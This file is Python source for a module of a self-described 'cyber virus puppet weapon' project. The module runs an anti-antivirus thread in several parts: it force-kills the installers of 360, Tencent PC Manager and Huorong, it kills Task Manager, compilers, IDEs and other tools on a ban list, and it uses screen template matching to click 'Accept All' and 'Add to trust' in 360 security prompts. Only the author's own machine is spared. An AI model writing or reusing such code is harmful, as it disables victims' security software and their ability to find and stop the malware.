Files
Termination4/TLhread/Thread_AntiVirusSoftware.py
2026-07-28 03:21:34 +08:00

175 lines
8.8 KiB
Python

# -*- Config : UTF-8 -*-
# Project Name: Termination Generally Use Cyber Virus Puppet Weapons - TLhread/Thread_AntiVirusSoftware
# Version: 4.2.0
# Build Version: ./TConfig/version.ini
# Author: Veyra
# Description:
# Anti-anti-virus software, through screen recognition and other methods to fight anti-virus software,
# Because the technology update no longer needs to directly fight with anti-virus software,
# So there is no need to continue to use screen recognition,
# And at the same time automatically prevent the installation of anti-virus software and the start of
# Some programs that are not conducive to the project.
from TLib import *
from TLib.T_imports import *
class AntiVirusSoftwareTools:
def __init__(self, KeMouse: 'T_KeMouse.KeMouse', OCRPath: str):
self.KeMouse=KeMouse
self.OCRPath=OCRPath
self.__init_values__()
def __init_values__(self):
self.temp=os.getenv("temp")
self.OCR_Down=os.path.join(self.OCRPath, "Down.png")
self.OCR_NFTB=os.path.join(self.OCRPath, "NFTB.png")
self.OCR_AcceptAll=os.path.join(self.OCRPath, "AcceptAll.png")
self.OCR_AddToBelive=os.path.join(self.OCRPath, "AddToBelive.png")
self.OCR_CloseBeliveWindow=os.path.join(self.OCRPath, "CloseBeliveWindow.png")
#def GetWindowsByClass(self, className):
# try:
# windows = []
# def EnumWindowsCallback(hwnd, _):
# try: currentClassName = win32gui.GetClassName(hwnd)
# except: return False
# if currentClassName == className: windows.append(hwnd)
# return True
# win32gui.EnumWindows(EnumWindowsCallback, None)
# return windows
# except:
# print("GetWindowsByClass Error")
# return []
def GetWindowsByClass(self, className):
try:
return win32gui.FindWindow(className, None)
except Exception as e:
print(f"GetFirstWindowByClass Error: {e}")
return None
def GetWindowCoordinates(self, hwnd):
try:
rect = win32gui.GetWindowRect(hwnd)
left = rect[0]
top = rect[1]
right = rect[2]
bottom = rect[3]
return left, top, right, bottom
except:
return False, False, False, False
def GetSomeWindow(self, BanTitle, BanName):
self._r=False
def enum_callback(hwnd, _):
if not user32.IsWindowVisible(hwnd):
return True
title_length = user32.GetWindowTextLengthW(hwnd)
if title_length <= 0:
return True
title = ctypes.create_unicode_buffer(title_length + 1)
user32.GetWindowTextW(hwnd, title, title_length + 1)
pid = ctypes.wintypes.DWORD()
user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid))
try:
exe_path = psutil.Process(pid.value).exe()
title=title.value
if any(_ in title for _ in BanTitle) or any(_ in exe_path for _ in BanName):
self._r={"name": title, "pid": pid.value, "exe": exe_path}
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
pass
return True
user32 = ctypes.windll.user32
WNDENUMPROC = ctypes.WINFUNCTYPE(ctypes.wintypes.BOOL, ctypes.wintypes.HWND, ctypes.wintypes.LPARAM)
user32.EnumWindows(WNDENUMPROC(enum_callback), 0)
return self._r
class AntiVirusSoftware(T_Process.TProcess):
def Run(self, master: 'Termination4.Termination'):
self.master=master
self.Tools = AntiVirusSoftwareTools(self.master.KeMouse, self.master.__ocr_path__)
self.desc="Anti Virus Software"
self.__init_values__()
self.KillInstallFor360()
self.KillInstallForTX()
self.KillInstallForHR()
if self.master.WorkMod == "exe" and not os.path.exists(f"C:\\DEVELOPER.INI"):
self.KillInstallForOther()
self.Killer()
self.AddEditor("KillFlan", "KillFan", "str")
self.AddEditor("BanTitle", "BanTitle", "json")
self.AddEditor("BanName", "BanName", "json")
#self.Accept360Window()
def __init_values__(self):
self.KillFlan=True
self.BanTitle=[]
self.BanName=[]
def __KillInstallFor_Template__(self, BanTitle: list, BanName: list):
self.BanTitle+=BanTitle
self.BanName+=BanName
def KillInstallForOther(self):
self.__KillInstallFor_Template__([], ["frpc.exe","frps.exe",# "nginx.exe"
#"python.exe", "pythonw.exe",
"taskmgr.exe", "code.exe",
"gcc.exe", "g++.exe", "clang.exe", "clang++.exe", "cl.exe", "make.exe", "cmake.exe",
#"java.exe", "javaw.exe",
"pycharm64.exe", "pycharm.exe",
"mysqld.exe",# "ollama.exe"
]) # Programs of not allowed running
def KillInstallFor360(self):
self.__KillInstallFor_Template__(["360安全卫士-安装", "-安装"], ["inst.exe"])
def KillInstallForTX(self):
self.__KillInstallFor_Template__(["电脑管家", "腾讯电脑管家在线安装程序"], ["inst.exe"])
def KillInstallForHR(self):
self.__KillInstallFor_Template__(["Installing Huorong", "安装火绒"], [])
@asyncs
def Killer(self):
while self.KillFlan and not self.ShouldStop():
WI=self.Tools.GetSomeWindow(self.BanTitle, self.BanName)
if WI:
os.system(f"taskkill /F /PID {WI["pid"]}")
os.system(f"taskkill /F /IM {os.path.basename(WI["exe"])}")
time.sleep(2)
def Accept360Window(self):
while not self.ShouldStop():
hwnd=self.Tools.GetWindowsByClass("Q360HIPSClass")
if hwnd:
self.logger.Debug("AGAINST WITH 360 !")
#for hwnd in matchingWindows:
#windowName = win32gui.GetWindowText(hwnd)
#TLX, TXY, BRX, BRY = self.GetWindowCoordinates(hwnd)
#pyautogui.click(BRX - 50, BRY - 40)
#pyautogui.click(BRX - 50, BRY + 30)
#windowName = win32gui.GetWindowText(hwnd)
time.sleep(0.3)
LX, LY, RX, RY = self.Tools.GetWindowCoordinates(hwnd)
if not LX:
continue
#if self.KeMouse.ClickTargetPNGAC(self.OCR_CloseBeliveWindow, button='left', sleep=0.1):
# self.logger.Success("Choose Close Belive Window ! Please ReStart !")
#if self.KeMouse.ClickTargetPNGAC(self.OCR_AddToBelive, button='left', sleep=0.1):
# self.logger.Success("Choose AddToBelive ! Please ReStart !")
#if self.KeMouse.ClickTargetPNGAC(self.OCR_NFTB, button='left', sleep=0.1):
# self.logger.Success("Choose NFTB ! Start Error!")
#if self.KeMouse.ClickTargetPNGAC(self.OCR_Down, button='left', sleep=0.5, search_area=search_area):
# self.logger.Successt("Choose Down !")
#if self.KeMouse.ClickTargetPNGAC(self.OCR_AcceptAll, button='left', sleep=0.1, search_area=search_area):
# self.logger.Success("Choose Accept All !")
_pos, _confidence = self.Tools.KeMouse.find_template(self.Tools.OCR_Down, search_area=(LX,LY,RX,RY))
if not _pos or _confidence < 0.97: continue
self.logger.Success(f"[OCR] Donw ({_pos[0]}, {_pos[1]}) Confidence: {_confidence}")
self.Tools.KeMouse.click(_pos[0], _pos[1])
time.sleep(0.2)
#(_pos[0]+(RX-LX)//2,_pos[1]+(RY-LY)-(RY-LY)//4,RX,RY+100)
_pos2, _confidence2 = self.Tools.KeMouse.find_template(self.Tools.OCR_AcceptAll, search_area=(_pos[0]+(RX-LX)//2,_pos[1]+3*(RY-LY)//4,RX,RY+100))
if not _pos2: continue
self.logger.Success(f"[OCR] AcceptAll ({_pos2[0]}, {_pos2[1]}) Confidence: {_confidence2}")
if _confidence2 > 0.97: self.Tools.KeMouse.click(_pos[0], _pos[1])
else:
_pos3, _confidence3 = self.Tools.KeMouse.find_template(self.Tools.OCR_AddToBelive, search_area=(LX,LY+(RY-LY)//2,RX-(RX-LX)//2,RY))
self.logger.Success(f"[OCR] AcceptAll ({_pos3[0]}, {_pos3[1]}) Confidence: {_confidence3}")
if not _pos3: continue
if _confidence3 > 0.97: self.Tools.KeMouse.click(_pos[0], _pos3[1])
time.sleep(0.2)